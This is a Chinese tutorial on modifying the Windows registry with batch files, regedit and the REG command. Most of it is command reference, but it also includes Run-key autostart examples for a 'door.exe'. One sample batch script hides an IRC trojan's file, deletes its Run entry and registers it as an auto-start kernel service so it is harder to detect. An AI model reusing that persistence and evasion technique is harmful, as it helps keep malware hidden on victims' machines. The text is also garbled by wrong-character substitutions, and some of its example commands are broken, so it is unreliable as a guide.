批处理删除注册表项与增长注册表服务

批处理命令修改注册表大全

Windows 2000/XP下的命令提示符(即CMD.exe程序)至关于Windows 98下的MS-DOS程序。出于系统自己安全考虑，应防止非法用户在命令提示符下或是利用批处理文件(BAT文件)对计算机进行破坏，这可经过修改注册表来实现。

选择【开始】→【运行】命令，在【运行】对话框的【打开】文本框中输入“regedit.exe”，单击【肯定】按钮，运行注册表编辑器，依次打开如下键：

HKEY_CURRENT_USER\Software\Policies\Microsoft\System

在右边的窗口中新建一个DWORD值，其名称为DisableCMD，设数值数据为2，则表示命令提示符程序和批处理文件都不能被运行，其值为1，则只是禁止命令提示符的运行。

示例：

echo REGEDIT4>iedown.reg

echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]>>iedown.reg

echo "1803"=dword:00000000>>iedown.reg

以上生成REG文件.

regedit /s iedown.reg

del iedown.reg

运行REG后删除之.

还能够：写一个注册表文件,放在一个位置..

而后批处理导入:

@echo off

regedit /s 注册表文件路径

exit

说明:/s是不弹出确认提示直接导入

先学习一下如何使用.REG文件来操

做注册表.(咱们能够用批处理来生成一个REG文件)

关于注册表的操做，常见的是建立、修改、删除。

1.建立

建立分为两种，一种是建立子项(Subkey)

咱们建立一个文件，内容以下：

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]

而后执行该脚本，你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下建立了一个名字为"hacker"的子项。

另外一种是建立一个项目名称

那这种文件格式就是典型的文件格式，和你从注册表中导出的文件格式一致，内容以下：

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

"Invader"="Ex4rch"

"Door"=C:\\WINNT\\system32\\door.exe

"Autodos"=dword:02

这样就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下 新建了:Invader、door、about这三个项目

Invader的类型是"String value"

door的类型是"REG SZ value"

Autodos的类型是"DWORD value"

2.修改

修改相对来讲比较简单，只要把你须要修改的项目导出，而后用记事本进行修改，而后导入（regedit /s）便可。

3.删除

咱们首先来讲说删除一个项目名称，咱们建立一个以下的文件：

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

"Ex4rch"=-

执行该脚本，[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就被删除了；

咱们再看看删除一个子项，咱们建立一个以下的脚本：

Windows Registry Editor Version 5.00

[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

执行该脚本，[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已经被删除了。

相信看到这里，.reg文件你基本已经掌握了。那么如今的目标就是用批处理来建立特定内容的.reg文件了，记得咱们前面说道的利用重定向符号能够很容易地建立特定类型的文件。

samlpe1:如上面的那个例子,如想生成以下注册表文件

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

"Invader"="Ex4rch"

"door"=hex:255

"Autodos"=dword:000000128

只须要这样：

@echo Windows Registry Editor Version 5.00>>Sample.reg

@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg

@echo "Invader"="Ex4rch">>Sample.reg

@echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg

@echo "Autodos"=dword:02>>Sample.reg

samlpe2:

咱们如今在使用一些比较老的***时,可能会在注册表的

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、

Runexec)]下生成一个键值用来实现***的自启动.可是这样很容易暴露***程序的路径,从而致使***被查

杀,相对地如果将***程序注册为系统服务则相对安全一些.下面以配置好地IRC***DSNX为例(名为

windrv32.exe)

@start windrv32.exe

@attrib +h +r windrv32.exe

@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll

@echo "windsnx "=- >>patch.dll

@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath=

c:\winnt\system32\windrv32.exe

@regedit /s patch.dll

@delete patch.dll

@REM [删除DSNXDE在注册表中的启动项，用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和

只读，并config为自启动]

@REM 这样不是更安全.

怎么用批处理命令删注册表里的键值或用命令的方法删注册表值？

REG DELETE KeyName [/v ValueName | /ve | /va] [/f]

KeyName [\\Machine\]FullKey

Machine 远程机器名 - 忽略当前机器的默认值。

远程机器上只有 HKLM 和 HKU。

FullKey ROOTKEY\SubKey

ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]

SubKey 所选 ROOTKEY 下的注册表项的全名。

ValueName 所选项下的要删除的值的名称。

省略时，该项下的全部子项和值都会被删除。

/ve 删除空白值名称的值(默认)。

/va 删除该项下的全部值。

/f 不用提示就强行删除。

例如:

REG DELETE HKLM\Software\MyCo\MyApp\Timeout

删除注册表项 Timeout 及其全部子项和值

REG DELETE \\ZODIAC\HKLM\Software\MyCo /v MTU

删除 ZODIAC 上 MyCo 下的注册表项 MTU

regedit.exe的参数

filename 导入 .reg 文件进注册表

/s 导入 .reg 文件进注册表（安静模式）

/e 导出注册表文件

例：regedit /e filename.reg HKEY_LOCAL_MACHINE\SYSTEM

/L:system 指定 system.dat

/R:user 指定 user.dat

隐藏导入注册表信息用regedit /s 便可

在DOS提示符下键入Regedit命令,将出现一个帮助屏幕。此屏幕给出了其命令行参数及其使用方法。

语法:Regedit[/L:system][/R:user]filename1

Regedit[/L:system][/R:user]/Cfilename2

Regedit[/L:system][/R:user]/Efilename3[regpath]

其中:

/L:system指定system.dat文件的存放位置。

/L:user指定user.dat文件的存放位置。

filename1指定引入注册表数据库的文件名。

/Cfilename2指定造成注册表数据库的文件名。

/Efilename3指定导出注册表文件的文件名。

regpath指定导出注册表文件的开始关键字(缺省为所有关键字)

现举几个例子说明regedit.exe在DOS下的使用方法。

【例1】将系统注册表数据库registry导出到reg1.reg文件中。

regedit/Ereg1.reg

【例2】reg1.reg造成系统注册表数据库registry(所有)中。

regedit/Creg1.reg

【例3】将reg.dat引入系统注册表数据库中(部分)。

regeditreg.dat

【例4】将CJH开始的关键字导出注册表数据库，并命名为cjh.reg。

regedit/Ecjh.regcjh

【例5】指定system/dat存放在D:\PWIN中和user.dat存放在E:\PWIN中,将reg.dat数据文件造成一个新的注册表数据库registry。

regedit/L:D:\PWIN/R:E:\PWIN/Creg.dat

有了以上这些知识，结合在《对注册表进行编程的“捷径”》里讲过的关于导入或导出的注册表文件（*.REG），咱们就能够在DOS方式下对注册表进行编程了。

咱们仍是以更改“*.txt”文件的默认打开方式——“记事本”为“写字板”为例。首先在MS-DOS提示符下导出“HKEY_CLASSES_ROOT\txtfile”子键这一分支，即执行命令：

regedit/Etxt.regHKEY_CLASSES_ROOT\txtfile

而后用DOS下的EDIT编辑器打开txt.reg文件进行编辑：将其中全部的“C:\\WINDOWS\\NOTEPAD.EXE”所有改为“C:\\WINDOWS\\WRITE.EXE”，存盘退出EDIT，再在命令行下执行命令：

regedittxt.reg

XP上新加的注册表操做命令

ADD

REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f]

KeyName [\\Machine\]FullKey

远程机器的机器名 - 忽略默认到当前机器。

远程机器上只有 HKLM 和 HKU。

FullKey ROOTKEY\SubKey

ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]

SubKey 所选 ROOTKEY 下注册表项的完整名

/v 所选项之下要添加的值名

/ve 为注册表项添加空白值名<无名称>

/t RegKey 数据类型

[ REG_SZ | REG_MULTI_SZ | REG_DWORD_BIG_ENDIAN |

REG_DWORD | REG_BINARY | REG_DWORD_LITTLE_ENDIAN |

REG_NONE | REG_EXPAND_SZ ]

若是忽略，则采用 REG_SZ

/s 指定一个在 REG_MULTI_SZ 数据字符串中

用做分隔符的字符

若是忽略，则将 "\0" 用做分隔符

/d 要分配给添加的注册表 ValueName 的数据

/f 不用提示就强行改写现有注册表项

例如:

REG ADD \\ABC\HKLM\Software\MyCo

添加远程机器 ABC 上的一个注册表项 HKLM\Software\MyCo

REG ADD HKLM\Software\MyCo /v Data /t REG_BINARY /d fe340ead

添加一个值(名称: Data，类型: REG_BINARY，数据: fe340ead)

REG ADD HKLM\Software\MyCo /v MRU /t REG_MULTI_SZ /d fax\0mail

添加一个值(名称: MRU，类型: REG_MUTLI_SZ，数据: fax\0

 

COMPARE

REG COMPARE KeyName1 KeyName2 [/v ValueName | /ve] [Output] [/s]

KeyName [\\Machine\]FullKey

Machine 远程机器名 - 省略当前机器的默认值

远程机器上只有 HKLM 和 HKU

FullKey ROOTKEY\SubKey

若是没有指定 FullKey2，FullKey2 则跟 FullKey1 相同

ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]

SubKey 所选 ROOTKEY 下的注册表项的全名

ValueName 所选注册表项下的要比较的值的名称

省略时，该项下的全部值都会获得比较

/ve 比较空白值<no name>名称的值

/s 比较全部子项和值

Output [/oa | /od | /os | /on]

省略时，只显示不一样的结果

/oa 显示全部不一样和匹配结果

/od 只显示不一样的结果

/os 只显示匹配结果

/on 不显示结果

返回代码:

0 - 成功，比较的结果相同

1 - 失败

2 - 成功，比较的结果不一样

例如:

REG COMPARE HKLM\Software\MyCo\MyApp HKLM\Software\MyCo\SaveMyApp

将注册表项 MyApp 下的全部值跟 SaveMyApp 比较

REG COMPARE HKLM\Software\MyCo HKLM

COPY

REG COPY KeyName1 KeyName2 [/s] [/f]

KeyName [\\Machine\]FullKey

Machine 远程机器名 - 忽略当前机器的默认值

远程机器上只有 HKLM 和 HKU

FullKey ROOTKEY\SubKey

ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]

SubKey 所选 ROOTKEY 下的注册表项的全名

/s 复制全部子项和值

/f 不用提示就强行复制

例如:

REG COPY HKLM\Software\MyCo\MyApp HKLM\Software\MyCo\SaveMyApp /s

将注册表项 MyApp 下的全部子项和值复制到注册表项 SaveMyApp

REG COPY \\ZODIAC\HKLM\Software\MyCo HKLM

 

DELETE

REG DELETE KeyName [/v ValueName | /ve | /va] [/f]

KeyName [\\Machine\]FullKey

Machine 远程机器名 - 忽略当前机器的默认值

远程机器上只有 HKLM 和 HKU

FullKey ROOTKEY\SubKey

ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]

SubKey 所选 ROOTKEY 下的注册表项的全名

ValueName 所选项下的要删除的值的名称

省略时，该项下的全部子项和值都会被删除

/ve 删除空白值名称<no name>的值

/va 删除该项下的全部值

/f 不用提示就强行删除

例如:

REG DELETE HKLM\Software\MyCo\MyApp\Timeout

删除注册表项 T

 

LOAD

REG LOAD KeyName FileName

KeyName ROOTKEY\SubKey (只是本地机器的)

ROOTKEY [ HKLM | HKU ]

SubKey 要将配置单元文件加载进的注册表项名称。建立一个新的注册表项

FileName 要加载的配置单元文件名

您必须使用 REG SAVE 来建立这个文件

 

QUERY

REG QUERY KeyName [/v ValueName | /ve] [/s]

KeyName [\Machine\]FullKey

Machine 远程机器名 - 忽略当前机器的默认值

远程机器上只有 HKLM 和 HKU

FullKey 格式为 ROOTKEY\SubKey

ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]

SubKey 所选 ROOTKEY 下的注册表项的全名

/v 查询特定注册表项

ValueName 所选项下的要查询的值的名称

省略时，该项下的全部值都会获得查询

/ve 查询默认值或空白值名称<no name>

/s 查询全部子项和值

RESTORE

REG RESTORE KeyName FileName

KeyName ROOTKEY\SubKey (只是本地机器)

ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]

SubKey 要将配置单元文件还原到的注册表项全名。

改写现有项的值和子项

FileName 要还原的配置单元文件名

您必须使用 REG SAVE 来建立这个文件

SAVE

REG SAVE KeyName FileName

KeyName ROOTKEY\SubKey

ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]

SubKey 所选 ROOTKEY 下的注册表项的全名

FileName 要保存的磁盘文件名。若是没有指定路径，

文件会在调用进程的当前文件夹中获得建立

 

UNLOAD

REG UNLOAD KeyName

KeyName ROOTKEY\SubKey (只是本地机器的)

ROOTKEY [ HKLM | HKU ]

SubKey 要卸载的配置单元的注册表项名称

reg add "项" /v(value的缩写) 值 /t(type) reg_dword(默认是eg_sz) /d(data的缩写) "要插入的数据值" /f(forbiden的缩写,即强制的意思)

例如

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session" /v test /t reg_dword /d 1 /f

这句命令就是往你的注册表

HKLM\SYSTEM\CurrentControlSet\Control\Session

这个项下面新建一个 reg_dowrd 类型的值,名字为test,数据为 1

/f 表示在运行若是注册表里已经有这个值也不会提示你,直接修改,

若是没有这个参数的话,它会提示你是否是要修改